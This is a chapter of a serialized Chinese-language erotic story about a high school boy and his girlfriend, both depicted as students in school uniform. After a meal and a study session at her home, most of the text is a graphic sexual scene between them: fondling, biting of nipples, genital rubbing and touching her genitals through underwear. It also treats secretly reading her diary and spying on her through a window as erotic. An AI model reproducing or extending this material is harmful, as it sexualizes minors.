图片载入中

我的高中生活10-19 (4/4)

特大字】 【大字】 【中字】 【小字

(19)女友的房间(二)

已经有好久没有来她家了,我是说,和她从正门一起进来。萱她家跟我们家一样,是一间三层楼的透天屋,楼下是客厅和餐厅,她的房间是在二楼靠后巷的那间。一进门,她就领着我上楼到了她的房间。

她的房间和先前我偷偷闯进来时一样,没怎么改变。我这次从房门进来,仔细地观察了一下,那只白色毛茸茸的“棉花糖”,还是跟先前一样,放在她枕头的内侧旁边。

“文,你…好久没来了吧?”

“嗯…嗯。”我有点心虚。

“对不起喔,我…房间只有一张椅子,我想说…我们是不是要跟在学校一样…坐在一起自修…”

“啊,不用啦,我坐在地上就可以了,或者靠在床边,我想这样就很好了。” “喔,好吧。我刚刚…乱说的,你不要在意喔。”

“嗯。”

“啊!对了,你会不会肚子饿?我去弄点吃的。”

“好啊。”

“那…你先坐一下喔,快好了再上来叫你。”

妍萱甜甜的一笑之后,就下楼去了,她的脚步声很轻盈,感觉得出来她的心情,是很轻松雀跃的,和先前我偷偷闯入房门时,听到她当时要上楼时那种沉重的拖步声完全不一样。

我坐在她书桌前发呆,忍不住瞄向最下层的那个抽屉,藏着她的日记和秘密的那一格。还要看吗?她的日记中,会不会有其他新的秘密?不了,已经看得够多了,我早已懂得妍萱内心所想的。现在的她,只是单纯需要一个可以倚靠、可以信任的人陪伴而已。而我…好像也是。

但,不去翻她日记真正的原因,其实是我现在根本没有那个心,我现在想知道的,只有暐榕内心的世界。

“文∼可以准备下来吃饭啰。”很少听见温婉的妍萱这样喊声,她的声音也把我从再度陷入的回想当中拉了回来。

“好香喔。”一下楼,我就闻到热腾腾的番茄汤味。

“对不起喔,不知道你要来,家里没剩什么食材了,今天就先吃番茄猪肉汤面好吗?”

“嗯,都好。”

“你先坐一下,不可以偷吃喔…我再去煎个蛋就好了。”

我看着餐桌上两个汤面碗里盛着红澄澄的番茄汤底,搭上粗白的乌龙面条,上面撒了一搓绿色的青葱,旁边还有搭配的青江菜,还有几块猪肉片。虽然很简单,但是从摆盘就可以看出她的用心,而且我注意到我面前这碗,肉多了好几块。 从这个位置上,刚好可以瞄到厨房。我这时才注意到妍萱仍穿着学校的制服,不过她胸前多围了一件调理食物时的围兜兜。她拿着煎铲,认真地看着煎锅中的食物,我忍不住由下到上再看了她一遍。

白色的半桶长袜包覆着她白皙的小腿,短短的学生裙盖不住她一样白嫩的大腿,白色的制服从侧面看,可以看出里面包覆着的胸型曲线,外面挂了一件粉黄色的围兜兜,松垮垮的肩带和胸部之间形成间隙,更衬出妍萱不错的身材。这样的穿着组合,不知为何让人有种冲突的遐想,萱穿这样,还满可爱的。

可是,如果换成是暐榕…这样穿应该会更凸显她姣好的上围吧?但是那小妮子神经大条、粗手粗脚的,感觉就不像是个贤慧的女孩子,她会做饭吗?

“好啰。”妍萱发出声音,把刚煎好的半熟蛋夹到我碗里摆好,我才发现她已经走到身边。我在干嘛呀,这时竟然还在想着暐榕。

“这样…看起来好好吃喔,也太专业了吧。”

“嗯,赶快趁热吃吧。”

我大口的吸着面条、舀着汤喝,热腾腾的食物和汤水进了口中,才发现自己有多么的饿,微凉的天气配上这样的汤面,顿时身心都暖活了起来。

“好吃吗?”

“嗯,好好吃喔,你之前,怎么没跟我说过,你会做料理?”

“没有,我…也有一阵子没有练习做东西了。其实…讲出来你不要笑喔。” “嗯。”

“你还记得…我们在屋顶时,你有问过我以后想做什么吗?”

“嗯?”我口中还嚼着食物,只能用鼻音回应。

“其实我的梦想很小,就是…当一个好太太、好妈妈。如果可以看着最爱的一家人,开开心心的吃着我为他们准备的料理,那就是我最大的梦想了…” “萱……”

“所以我后来,偶尔自己在家,会试着做东西来自己吃,也当作…一种练习吧。”

“那…你有做给别人吃过吗?”

“没有…因为…后来就跟你……”

“萱萱……对不起…”的确,在日记中,我从没看过她有做东西给何宇民吃过,他们都是在外面用餐,或买回来的。

“没关系啦…你如果喜欢吃…人家以后都可以做给你…”

“嗯…嗯……”我赶紧低下头,继续吃那碗面。萱她,似乎一心一意希望我回到她身边,我…如果再这样子,到时候又让她伤心怎么办?

吃完了那碗带着微微的酸、微微的甜的番茄汤面,真的让人感到很满足。我想帮她一起收拾,她坚持不要,让我先上楼,等她待会整理好再一起自修。*********************************** “文,你要坐书桌那喔?那我坐床上好了。”妍萱一进门,看到我坐在她书桌的位置上,便开口说。

“萱萱,我想说…没关系啦,我们就坐一起吧。”

“嗯! 好,那…你等我一下喔。”她露出笑容,把手上端的一杯茶水放在我面前,然后转身去她书包里翻找今天上课用的课本和笔记。

“我…要坐啰。”妍萱站到我身边,还是先问了一下,我点点头,她便张开腿跨过我的双腿坐了上来。她一坐下来,香香的玫瑰发香瞬间扑鼻而来,我注意到,妍萱好像没有护着裙子的习惯,她的裙子就这么摊开来罩着我的腿。

“文,我们先从哪一科开始啊?”

“都可以啊,看你吧。”

“嗯,那…先从国文好了,比较简单。那你的课本也借我一下喔。”

“好。”我看到妍萱把我的课本摆在面前摊开来,再把她自己的课本用铅笔盒垫着架在前方。

“文,你…上课都没有再做笔记喔?”我的课本一片空白,因为上课时根本不曾拿出来。

“对呀,你知道…我不太喜欢上某些课,像那些古文根本就用不到。”

“喔,可是考试还是会考到耶。不然…我帮你把重点抄过来,然后一边讲,你一边听…好不好,听重点就好了。”

“嗯,好吧。”

“你看这边喔,‘寄雁传书谢不能’,这边的谢是辞谢、婉拒的意思,跟‘大夫七十而致仕,若不得谢,则必赐之几杖’的谢是一样的,还有这个…” 我探头到妍萱的肩膀上,看着她细心的一边把她记录的重点抄写到我的课本上,一边还用温柔的声音解释她要正在写的内容。妍萱真不愧是班上的好学生,她课本上的笔记真的写得很细,各种颜色的笔迹都有,可能怕太多我也看不懂,她只抄写讲解某些红笔写下的部分,大概都是最重要的吧。

我偷偷瞄着她的侧脸,撇除日记中看到的那些秘密,妍萱她其实真的是个很有气质,很温柔的小女生,我到现在才发觉,其实萱她对我也很好,尤其是这阵子回到我身边后。

经过这几天的相处,我渐渐觉得和她有点像回到先前一样,很习惯彼此在身边的感觉,是那么样的自然。如果说学校没有施行这个制度的话,我们应该也会一直像这样好好的吧。

其实她真的没什么可以挑剔的缺点,是个很完美的女孩,要不是她在车上遇上了那个人,要不是因为这个制度硬生生把我们拆散,要不是…要不是我对她的感情不够坚定。我的心底对她那股亏欠感,又再度油然而生。

我…是不是该认真考虑,再给她一次机会,也给我自己一次机会,试试看真的跟她重新开始。有我陪着,她一定可以摆脱前阵子那些不勘的过往,而我也可以…可以忘却这学期跟暐榕意外产生的感情。可是我…真的忘的了、放的下吗? “嗯,终于写完了。文,这样有印象了吗?今天国文课的重点…文?”

“啊,对不起,我还再回想…刚刚讲的那个。”

“喔,没关系啦,你回去再看红笔写的部分就好了,这边是最重要的喔。” “嗯。”

“那…接下来换哪一科呢?我们来看地理好不好?”

“萱,你不用休息一下吗?”

“没关系啦,再看一科就好。”她把我的地理课本又摊开在面前。

“怎么…又都是空白的?”

“没有啦,就…我上课时不想跟她抢书桌,所以都没有把课本拿出来。” “…怎么…这样…”几个字在妍萱口中呢喃,虽然很小声,但我还是听到了。 “没关系,那我再帮你抄上去。”她又补上一句。

“不用啦,萱,你这样太辛苦了,你把课本借我,我回去再自己写就好了。” “没关系啦,我可以边讲边写,这样你印象会比较深,不然你上课都没有书桌可以用,一定没有办法好好听…”

“不用啦!!”不小心大声脱口而出的几个字,在小小的房间里回荡。不要说妍萱了,也把我自己给吓了一跳。房间里突然只剩下电风扇嗡嗡在转的声音。 “萱…对不起,我不是故意…”也不晓得哪来的一股情绪,那一瞬间过了之后我才后悔,刚怎么会突然对她大声,我赶紧贴到她耳边轻声道歉。

“人家…人家只是想多为你做点什么嘛…如果你不喜欢,也不用大声凶人家啊…”妍萱低着头缩着身子,好像很害怕。

“萱,对不起啦,我…”我担心地把头探到她侧边,看到她眼眶又水汪汪的。 “文,我真的…之前在屋顶的时候,你突然的出现,我真的好开心,没想到你真的还是听的到人家心底的唿喊,因为我那时候…真的好需要你。”

“萱萱……”

“这几天,有你再次陪在身边,我真的好高兴,但是也很害怕。我好害怕…这只是一时的,我好怕我们没有办法…没办法回到像当初那样…因为我真的…做了好多对不起你的事情…”她边讲,眼泪又扑簌簌掉下来。

“萱…,过去的事情就过去了,不要再去想它了好吗?”

“文…你还能不能像以前那样…那样抱我…吻我…”

“萱……”

我…真的不忍心看她这样,于是紧紧靠到她的背上,双手环绕过她的胸前,将她紧紧拥抱在怀中,而她也收回双手,揽在我的臂膀上,将我的手臂紧紧按在她胸口,生怕我下一秒就会放开一样。

“好啦…不要再哭了好吗?这样哭下去眼睛明天会肿肿的喔。”

我才想抽出一只手,帮她抹掉她眼角的泪水,忽然间她就转过身,侧坐到我腿上,把头埋在我胸口,手环过腰紧紧抱着我。我也顺势把左手搭载她的肩上搂着她,然后拉起胸口的衣服帮她拭干眼泪。

“萱…好了啦,我在这,我们不哭了好吗?”弯下头去看着她轻声说,当她擡起头回望时,我才发现我们靠得有多么近。

“文…”她水汪汪的眼眸,仿佛有种魔力,让我不觉越靠越近,越靠越近。感觉几乎是同时的,我们闭上了双眼,再往前靠,双唇贴合在一起。我,又再次吻了她。

这一吻,不知道隔了有多久,好像我跟她的初吻一样,又让人有种怦然心动的感觉。妍萱的嘴唇很薄,微微张口就可以将她的下唇全部含吻在我的双唇中,我们很有默契的,用相同的频率吸吻对方的上下唇,偶尔还交换上下交叠的嘴唇。 “啧、啧、啧…”不知吻了多少回,我的口中沾满彼此的唾液,除了上下交叠的吸吻对方,我们有时也会双唇完全正对,贴合着对方亲吻。忽然间,我感觉她的小口微微张开,不再含闭起来,我也跟着她这样做,两人的双唇微张,湿润的贴合在一起。我试探性地伸出舌头,才刚要探出我的口腔,就在双唇交接处碰到了她湿滑的小舌头。

这,是我们第一次的舌吻。我感觉心跳得好快,我的舌头就这么顶着她的,也不敢乱动。突然间,我感觉它一下一下的在轻点我的舌头,我也用相同的频率回应她。而她感觉到我的回应之后,慢慢地往后缩,我也跟着前进,进到了她的口腔中。

我的舌头在那个湿滑的腔室不断追逐她躲逃我的嫩舌。当我跟着她深入到底时,她突然双唇一缩,吸了我伸进她口腔的长舌一口,而她的小舌头还灵巧地继续轻点我的舌尖。

她突如其来的举动,真的让我顿时欲望高涨。我左手搭着她的肩,右手揽着她的细腰,将她抱的紧紧的,萱她的身体,好温暖。我忍不住用左手在她纤细的腰间不断游移,感受她身体传来的热度。一个不小心,我的手往上滑的太多,碰触到她柔软的胸部下缘。

萱的胸部,摸起来也好软。我舍不得离开,轻轻地隔着胸罩,托着她乳房的下缘,偷偷的用手指稍微施加压力,轻轻地揉捏它。突然间,她一只手搭在我的手掌背上,我赶紧停下动作。

“对不起,我…不应该…”

“…没关系,如果是文的话…可以…可以摸…”妍萱羞涩的低着头说,最后一个字只有嘴型,没有声音。

听她这么说,我忍不住再把嘴巴凑上去继续亲吻她,这次换她把舌头伸过来,我学着她一样吸吻她短小的小舌头,一边也把手继续放到她的胸部上继续轻轻的揉捏。隔着薄薄的制服,我可以感觉到胸罩上面布满的花纹,妍萱似乎很喜欢这种浪漫小女人的款式。

上次在窗外看到她穿着的那件,也是白色浪漫花纹的胸罩,不晓得今天穿的会不会是同一件?我突然想起何宇民玩弄妍萱胸部的那个画面,感觉下面胀得发痛,这才发现那根老早就翘的高高的,卡在妍萱侧坐的大腿下。

我学着那家伙的方式,开始大力揉捏妍萱的胸部,由下往上大力托起再放下,想像里面水滴状的乳房被我揉的变形。我那只手一会由外侧,一会由下方来,不断挤压她的胸部,而她的手一样轻轻搭在我的手腕上,完全没有阻止我粗鲁的动作。

“啧、啧、啧…”两人口中的吸允声不断,而且我感觉妍萱的鼻息也越来越重。她应该也给我摸得有了感觉吧?有点想再进一步,于是我那只手悄悄地往她制服扣子侧边的缝隙伸进去,碰到了她微微鼓起的胸口软肉。

忽然间,她那只手离开我,主动去解开我伸进去的那个缝隙上边的扣子。因为她的制服胸口敞开,我可以让整只手都伸进去,我舍不得一进去就大力地摸她,而是用一只手指头,缓缓的在光滑的上半球乳肉上慢慢游走。萱的皮肤真的很好,好光滑,而且她的胸部好挺,充满着弹性。

我慢慢地滑,滑到了乳肉和胸罩包覆的边缘,继续往下去,隔着胸罩一下一下戳着她的软肉,刚从乳房正下方戳了一下时,她身子突然震了一下。这边,很敏感?我试探性地继续戳那边,果然妍萱身子一缩一缩的。喘息声也慢慢由鼻腔发出。

忽然,我感觉到下面,妍萱的被我顶着的右腿,轻轻地在左右晃动,好像在给我那根摩擦一样,好舒服。

“文…”吻到一半,妍萱突然往后缩了点说,她的脸蛋红扑扑的。

“怎么了?”

“你…下面…这样给我压着,会不会不舒服…”

“嗯,有一点点…主要是裤子有点紧啦。”

“那…你可以…拉开…”

“什么?”我盯着她看,她的脸真的红到不行。

“拉链啦…”

“喔…可是,这样怎么拉,不用啦…”

“那,我先起来…”妍萱说完,真的从我腿上爬起身,站着背对我。

我看着她的背影呆滞了一下。

“好…好了吗?”

“喔。好…好了。”没意识到真的要这样做,我赶紧拉开拉链,底下那根马上顶着内裤弹了出来,终于舒坦了些。

“那…我要坐啰?”萱转回头问完,我点了点头,没想到她接着竟然正对着我,跨坐上来,两人变成面对面女上男下的姿态。她才稍微坐来下一点,我就感觉到少了束缚的高高挺立的那根,顶到她裙子罩着看不到的私密处,萱的耻丘。而且这个角度,不是贴在上面而已,是正对着穴口压进去的感觉。

“啊。”妍萱发现还没完全坐下来,那根就已经紧紧地顶着她下面。

“对不起,我不是故意这样的,真的…忍不住。”

“没关系…文…一整天这样,应该也很辛苦吧…”妍萱说完,身体往我这边靠,双手搭我肩上,主动吻了过来。我也张开口回应她,双手扶着她的细腰,因为我怕她完全坐下来,顶的力道会太强烈。妍萱自己也扶着我,用身体的力量撑着,才慢慢把她的屁股沈下来。我感觉龟头前端顶到软绵绵部位,渐渐往中间凹陷。

“嗯…”一声娇喘由妍萱鼻子中发出。

这种感觉,好像龟头真的顶到的是小穴口,而且可能把两片阴唇稍微撑开了。我觉得龟头前端那的内裤已经湿透了,不知道是我分泌的还是妍萱那的爱液,光是这样顶在那没有动,就让人觉得舒服到不行。

受到下半身的刺激,我贪婪地吸着妍萱进到我口中的小舌头,她的舌头短短的、很可爱,好像只进来一点点就不能在伸长了,我在我的口中不断用舌头绕着她的舌尖。我们在口中不断交换着彼此的唾液,就连下半身相连的地方也是,这时我已经感觉内裤撑起来的前端湿了一大片了。

实在忍不住,我轻轻的、用很小的幅度开始上下挺动,让龟头浅浅的一下一下顶在她分开的那两片软肉上。

“嗯…嗯…嗯…”妍萱随着我下面挺动的频率,每次顶到都会发出娇声。 “萱…这样,会不舒服吗?”我稍微停下来问她。

妍萱睁开眼,媚眼如丝的望着我摇摇头,没有说话,然后再次闭上眼睛。我知道她仍微张的小嘴在等着我,我再次吻了上去,但这次她刚要伸出舌头,我就悄悄的往后退开,她发现小舌头扑了个空,又睁开眼。

“怎么了…”她皱着眉头小声地问。

“萱…可不可…把舌头伸出来,我想看看你的舌头…”

“嗯…”妍萱眯着眼,小嘴微微张开,小舌头从里面探了出来,只能伸出短短的不到两公分。我也伸出我的舌头,慢慢地靠近,直到舌尖碰到她。两个舌尖在空气中接触,轻轻的擩动,互相舔舐着。这种感觉跟在口中接触完全不一样,多了一分淫糜的气味。原来何宇民那家伙跟妍萱的“接吻”就是这样的感觉,其实我…一直很想试试。

我们不断在空气中地交舔,偶尔我还会故意闪躲她,让她碰不到,当她追太过来,我就用双唇把她的舌头用含住,吸进口中,再学着她的方式轻舔对方的舌尖。

“啧、啧、啧…”口腔湿滑的吸允声不断。当我的舌头再次被她含住无法动弹时,我索性放弃挣扎,让她尽情地舔舐。我原本扶着腰的双手,慢慢往上滑到胸部下缘,两手隔着制服托着罩杯轻轻地揉捏。她好像受到刺激,把我的舌头吸得更紧了。忽然间,她松开了口。

“文…你…想看吗?”她娇媚的看着我说。

“嗯。”我用力点点头。

萱稍微把身体往后退,然后慢慢地用双手,把领口的红色领结往两边抽开,由胸口的位置把扣子一颗颗往下解开。当我看到她淡粉红色的胸罩,和唿之欲出的饱满乳肉时,下面真的胀到不行,忍不住自然地抖了一下。

“嗯…文,等一下啦,先让人家脱完…”

“对…对不起。”

我看着她一直往下,把扣子全部都解开了。正要把制服也脱下来时,我阻止了她。

“萱,先这样穿着吧,会着凉的。”

“嗯…”

“那…我要摸啰。”

“…”她不敢看我头低低的,声音小的听不见。

我靠上前,稍微把她已经解开的白衬衫往两旁敞开一些,终于看清楚这件胸罩。极淡的浅白粉红色,罩杯上布满浪漫的蕾丝纹路,四分之三的罩杯,把白皙的乳肉托的集中,挤出一条深深的乳沟,满盈的乳肉把胸罩撑得满满的,感觉就快要溢出来,这件内衣对她来说好像太小件了。

“萱…你的胸部…好可爱喔…”我忍不住用食指轻轻地在她露出的雪白嫩肉上滑动游移,偶尔再轻轻地往下压,真的好好摸,好有弹性的肌肤。我重复刚刚的方式,慢慢用两指轻轻地戳她的胸部,直到快戳到乳房正下方时,我还故意暂停了一下,然后才稍微用力一点的戳上去,妍萱果然身子震了一下。我又试了一次,果然还是一样,这真的是她胸部的敏感地带吧?

“萱…这边…很敏感喔?”

“嗯…”

“可以…伸进去碰它吗?”

“嗯……”她羞红着脸,没有睁开眼,双手绕到背后,好像把胸罩解开了,我看到松脱后的胸罩仍悬在她的胸部上,依然尽着最后的本分,覆盖着它的主人。妍萱好像缩起手臂,想要将制服和胸罩脱下来。

“不用啦…这样…就可以了。”

“喔…”

我一只手贴到她肚子上,慢慢地继续往上滑动,终于碰到了柔软的下半球,萱的胸部真的也不小,我记得她有33C才对,由下面触碰,感觉更有分量。我另一只手悄悄地由上面把她的胸罩往上提了一些,只让她露出性感的下半球,然后继续用双手五指轻轻地在那两团软肉底下滑动游走。

“文…这样子…好痒…”

“喔,对不起。”我停下滑动,开始用手指的力量轻轻揉捏。尤其针对她最敏感的正下方,我会稍微施加力道的往上推压。

“嗯…嗯…文,胸部这样…好舒服…”萱一边说,我竟感觉她的屁股轻轻地扭动起来,好像自己在一下一下往下压,让小穴口套在我龟头前端摩擦。受到这样的刺激,我也忍不住,开始大力的挤柔胸部,但我只用双手去拖着乳房下缘,并没有去碰触到她的乳头,因为我想…待会再慢慢品尝。

“萱…我可以…亲胸部吗?”

“嗯…”我一手绕到她的背后,把她往我身上压过来,身体稍微弯下去,把头凑到她的胸口,一股香味扑鼻而来,这是…胸罩上洗衣精残留的香味,还是少女胸部的清香?我忍不住靠上去闻,鼻子都碰到胸部下缘露出的软肉了。好香喔,我伸出舌头轻轻在嫩肉上舔了一口,妍萱的身子马上又是一震。接着我开始一下一下舔舐着她光滑的胸部下缘,舔到正下方时,我还会刻意加大力道用舌头往上顶。妍萱给我舔的下半身扭动的越来越大力,压的我那根都有点疼了。

随着我舔舐的范围越来越往上,我也把她可爱的胸罩再慢慢往上拉,直到我看到她粉红色的乳晕下缘露了出来。我继续用舌头慢慢由乳房下半球最下面开始往上舔,一下一下,慢慢的往上,直到乳晕那边。我用舌头轻轻地在露出的那片粉红色地带不断的左右来回轻舔。

“嗯……嗯……嗯…”

“萱…可以看吗?我…要拿起来了哦…”

“嗯…”

我把头凑近,用极慢的速度将胸罩提起,心里好像在帮新娘子掀头纱一样的紧张。终于,那对可爱的乳头,就在十公分不到的距离在我眼底下露出来了。虽然之前远远的在窗外看过了,但近看的感觉完全不一样,而且这次是她主动愿意给我看的。

萱的胸部真的很漂亮,看过那么多A片,也只有极少数的女优有这种胸型和乳头的颜色。她的乳房是标准的水滴型,乳晕不大,是极淡的粉红色,上面几乎一点点多余的颗粒都没有,乳头也是小小的,很粉嫩的颜色,而且…已经高高的挺立了。

“文,你…不要一直这样看啦…好奇怪…”

“喔…对不起。它真的…太可爱了嘛…”

看到这样的景象,我实在忍不住再慢慢来了,一口就凑过去吸住她可爱的乳头,但我舍不得太大力,轻轻地吸允它,口中不断发出啾啾啾的声音。

“嗯…嗯…文,你怎么突然…”受不了这对乳房的诱惑,我一手托着白嫩的乳肉下缘大力挤弄,把胸部揉成的不断变形,同时还用嘴巴不断吸允乳头,偶尔也伸出舌头左右舔舐她早已挺立发硬的乳头尖端。

“萱,这样…舒服吗?”

“嗯…另一边…另一边也要…”

我把头凑过去另一边,这次不直接触碰乳头,而是轻轻地在乳房周围吸吻着。我从胸部上边软肉慢慢亲到乳房侧边,一边吸吻还一边舔舐,一直绕到乳房正下方,还加大力道的吸允,嘴唇离开时,我发现乳房正下方那边已经被我种了一个红红的吻痕。

另一手也没闲着,因为刚刚那边已经舔过,整个乳头周围湿湿滑滑的,我用手指头在乳头周围不断打圈圈,偶尔也用食指去拨弄挺立的它。妍萱被我弄的身体不断哆嗦。

“文…好舒服喔……头头…头头可不可以…用咬的…”

“啊?”

“要轻轻的哦…”

我愣了一会才明白她的意思,难道那家伙都是这样对待她吗?用咬的难道不会让她受伤?

我再慢慢地由乳房正下方一路舔上去,直到舌头抵到乳头下缘,稍微施加压力的往上轻顶,感觉得出来,小乳头在我不断的刺激下,越来越硬。这样咬下去,真的不会痛吗?怕她会受伤,所以我先轻轻含住它,在上面啜了一层湿滑的口水,然后才轻轻用门牙稍微咬着它。

我真的很怕这粉嫩的乳头会被我咬痛,所以我用极轻的力道,稍微上下施加压力的轻轻咬合刺激它。

“啊…嗯…文…这样好舒服,再大力一点点…”听她这么说,我只好再稍微咬大力一些些,我感觉硬挺的小乳头侧边,都被我上下门牙压的凹陷了了,这样真的让我好心疼,我不敢想像何宇民那家伙之前到底都怎么玩弄妍萱的,为什么用这么不温柔的方式对待她。

我担心的停下动作,稍微离开一看,原本小巧粉嫩的乳头已经被咬的红红的,我心疼地凑上去亲亲吻了一口。

“萱…还要吗?它已经红红的了耶,会不会疼?”

“还想…还想要……还有…另一边…”

“喔…”听她这样说,我只好凑到另一边胸部,也开始轻轻地咬她的乳头。这样的刺激好像真的很受用,妍萱身子在我身上扭的厉害,我感觉她屁股使劲往下压,然后开始前后摇动起来。这样好舒服!龟头紧紧地贴在她已经深陷的小缝上,上下不停的刮着。我跟着她的节奏,慢慢的挺动下身。

因为她下沈的力道有时过大,会压的那根有点疼,所以我背后那只手慢慢往下滑,稍微扶着她的屁股来缓和一下双方下体接触时的那股吸引力。随着不断扭动的身躯,我那只手慢慢滑到她裙底下,碰到了妍萱的屁股,好软!我忍不住用五指慢慢在她的屁股软肉上游走,这件内裤摸起来好滑,好薄的感觉,会不会是…她日记中说的那两件超薄内裤的其中一件?

我想到日记中的内容,于是本来轻抚着屁股软肉的手,慢慢地往下滑,一直沿着股沟小缝往下滑下去,妍萱的身子好像微微地在颤抖,是不是我这样的动作,让她想起车上不好的事情?我不知道她这样的反应,是想要我继续往下去,还是不要。犹豫了一会,我决定先去碰一下,试试看她的反应。

没想到我再往下滑一点,好像快到了肛门那边,就摸到内裤有点潮湿的感觉。妍萱她…她真的是有副很敏感的身体,难怪受到其他人一点点刺激,就停不下来。我…该这样继续下去吗?我很明白继续往下可能会发生的事情,一丝丝理智稍微醒了过来?

我的手指抵在那潮湿的地带不敢动,嘴边咬着的小乳头也松开了,我怕再这样下去,会一发不可收拾的。

“文…你…想摸人家的内裤吗?”

“我…我是…”

“那…我们…去床上…好不好…”

被妍萱突如其来的一语吓了一跳,我愣在那没有动作。她擡头看了我在犹豫,好像发现自己刚刚说了很羞人的话,往我身上靠过来把头埋在我的肩上,不让我看到她。

“对不起…我以为…你要想…”妍萱很勉强的挤出这几个字。

“没有…我是…太兴奋…呆住了。我们…去床上吧。”天啊,我到底在说什么,下面充血兴奋到整个思绪都乱了。

妍萱趴在我身上,双手紧紧搂着我的脖子,好像没有要下来的意思。我只好把双手慢慢放到她的屁股下,直接擡着她的小屁股把她抱了起来。突然悬空的她,紧张地用双腿把我夹住,像只无尾熊一样。还好床就在旁边,我走到靠近床头时弯下腰,慢慢把她放到床上,身体也跟着扑倒压在她身上。

从头到尾,我们的下体都是紧紧相连的,到现在都是。我们的脸近到鼻子磨在一起,望着彼此的眼眸,两人几乎又是同时地闭上双眼,凑上去又是一阵湿吻。随着我的舌根在她小嘴里搅和,我的下身也持续地在挺动着,妍萱两腿开开的夹着我的屁股,让我的龟头可以完全的顶在她已经充血肿胀、微微分开的小穴口。 想到这样的姿势,跟真正的做爱,真的只有两件内裤之隔,我感觉整个肉棒越发肿胀,真的硬到不行了。难道,我今天就要破了我的处男之身?

“嗯…嗯…嗯……”因为小嘴被我堵着,妍萱只能由鼻子不断发出喘息声。 我们紧紧抱着彼此,感受下身传来强烈的刺激,由于妍萱张开的大腿,这样的姿势,好像让我能顶的更加深入,感觉整个龟头几乎进去了有三分之一,要不是有那两层内裤在,说不定现在已经直接插进去了。强烈的快感,让我真的好想再进一步…

“文…你…想…[email protected]#$%…”

“什么?”尽管已经贴在彼此耳边,我还是听不见妍萱说的最后几个字。 “你…想..进..去..吗…”她几乎是用气音的在我耳边说。

“我…还是…”残存的理智告诉我,今天不是要来跟她这样的吧?

“还是…你想…先摸人家的内裤…”

“嗯…嗯。”就…先这样吧。也许先满足了妍萱,待会我们就可以冷静一些。 我把她夹在我屁股上的腿慢慢扶着平放在床上,而我也从她身上翻下来侧躺在她身旁。发现左手仍扶在她温热的大腿上,我忍不住开始小范围的上下滑动,萱的皮肤真的很细致,大腿摸起来的手感滑不熘丢的。我不敢往上,于是慢慢把手往下滑,最多只构的到膝盖那里,我从大腿外侧慢慢滑到萱的膝盖,在由大腿内侧慢慢往上滑,直到碰到了短裙的裙䙓才停下来,然后再重复往下滑的动作。 “文…你…不是要摸吗…”在我来回抚摸她大腿时,妍萱忍不住开口了。 “喔…”听到她这样说,我只好微微坐起身,然后用放在她腿上的那只手,慢慢地贴着大腿内侧往裙底下滑进去,另一手同时也伸过去裙摆,正想要掀起来,她突然抓住我那只手。

“文…不要看好不好…那边…现在不可以看…”

“为…为什么…”

“就…不好看……拜托…”

“好啦,我不看。”我把她的裙䙓盖回去。

因为妍萱脱了一半的衣服和胸罩都还挂在身上,但敞开的制服和盖在胸部上的胸罩,底下微微露出白皙的胴体,这样实在比没穿还诱人,我另一只手忍不住,摸上她的肚子,慢慢的往上滑,钻到松脱的胸罩底下,继续揉摸她的胸部,妍萱的胸部真的很挺,就算是躺下来,胸型还是一样漂亮,只有一点点外扩而已。 而我伸进她裙底下那只手,已经看不见自己的手掌了,再往上一点,估计就要碰到她的大腿根了。我的手正要再往上时,她好像有点害羞起来,稍微把两腿阖上,把我的手掌夹在温热的两腿间。

“萱…我这样,不能动了。”

“啊…对不起…”听到我这样说后,妍萱才慢慢把腿张开,而且一开就没停下来,本来平放的两条腿,竟然慢慢地屈起来,然后再往两边张的开开的,变成了M字型的姿势。

她!我可以理解她刚开始合起双腿,应该是出于本能的反应,但现在要她稍微张开放松些,竟然摆出这样淫荡的姿势?难道何宇民平常都是这样玩弄她的?脑海中瞬间闪过他们在这张床上可能做过的事情,我下面又胀的抖了一下。 由于萱自己翘起双腿张开,裙䙓已经滑到大腿根部,我只要再往一旁挪个身子,应该就能看到她的内裤了,不过妍萱不希望我看到,那就这样吧。我贴在她大腿内侧的手掌继续往根部滑去,终于到底,也碰到了内裤边缘。

接下来,将是我人生第一次用手碰触女孩子的私处了,虽然没有经验,但我突然想起她的日记中那个人对待她的手法,不能够太急躁。于是我沿着内裤边缘开始上下滑动,这边的肌肤也很光滑,很好摸,我摸完一边,也伸到另一边大腿内侧,在慢慢地由下往上摸到内裤边缘,然后用手指沿着内裤边缘滑动,就是不去碰到内裤包覆的部分。

“文…这样子…好痒…”

痒?痒就是舒服吧,这是那家伙对她说的,我想妍萱自己也很喜欢这种感觉吧?于是我继续在内裤边缘这样游移,说也奇怪,我滑了半天,妍萱的阴部竟然光滑的没有露出半根阴毛被我碰触到。

“文…可不可以……”

“嗯?”妍萱声音小的像蚊子一样,我稍微弯下腰凑到她脸旁。

“…摸裤裤……”

“喔…”我不想再故意折磨她,于是我这次沿着内裤边缘,一路往下滑到底,直到碰到床垫不能在下去,然后往内裤中央掠过去,我想学那个人,由她的肛门开始。没想到手指一接触到内裤,就感觉到一阵潮湿,她的内裤真的湿透了,应该是由小穴口上面一路湿到快到屁股那。

我还没打算摸到她湿溽的耻丘,于是用食指尽量往下钻,这件内裤真的很薄,我的指腹感觉几乎感觉是直接接触在她的皮肤上一样。我往下伸,直到碰到凹陷的部位,应该是她的…肛门了吧。于是我用手指开始在那周围打圈圈,说也奇怪,妍萱的肛门周围很干净,没有长毛。

“嗯……嗯……嗯…嗯…”妍萱的喘息越来越急促。

“文…那边…脏脏……可不可以…往上一点…”

“不舒服吗?”

“…嗯…舒服…可是…可是…”

“好啦…”我知道已经够了,于是揉压肛门的食指,慢慢沿着股间凹陷的小缝慢慢往上滑,我感觉到接触到了一片软肉。这里,就是女孩子最私密的地方,柔软的耻丘了。我舍不得太快开始,于是学着印象中那个人的手法,分开用两指沿着微微鼓起的两侧慢慢往上滑,尽量不去接触到中央凹陷的部位。

妍萱的内裤真的湿透了,我的手指已经分开到几乎是快到内裤的两侧边缘,两指指腹接触到的竟然都还是潮湿的布料,而且我似乎隔着内裤,摸到一种胡渣般的短毛触感。我真的忍不住好奇,趁着妍萱闭着眼还在娇喘,我往她下身弯过身去。

我看到妍萱白皙的大腿,还有穿着的那件粉红色横纹的内裤,上面印着大片由中央扩散开来、椭圆形的、羞耻的湿溽痕迹。虽然有粉红白相间的细纹,但因为又薄又湿,贴在下体上的内裤几乎呈现半透明状态,我可以看到她完整阴户的形状,和上面短短如新生胡渣般短的阴毛。

妍萱她!她的阴毛被剃过了!?是何宇民那家伙要求她剃掉的吗?还是他直接帮她剃的?这样妍萱少女最重要的私处不就都被他看光光了!我想到那个画面,一时忘了手上动作。

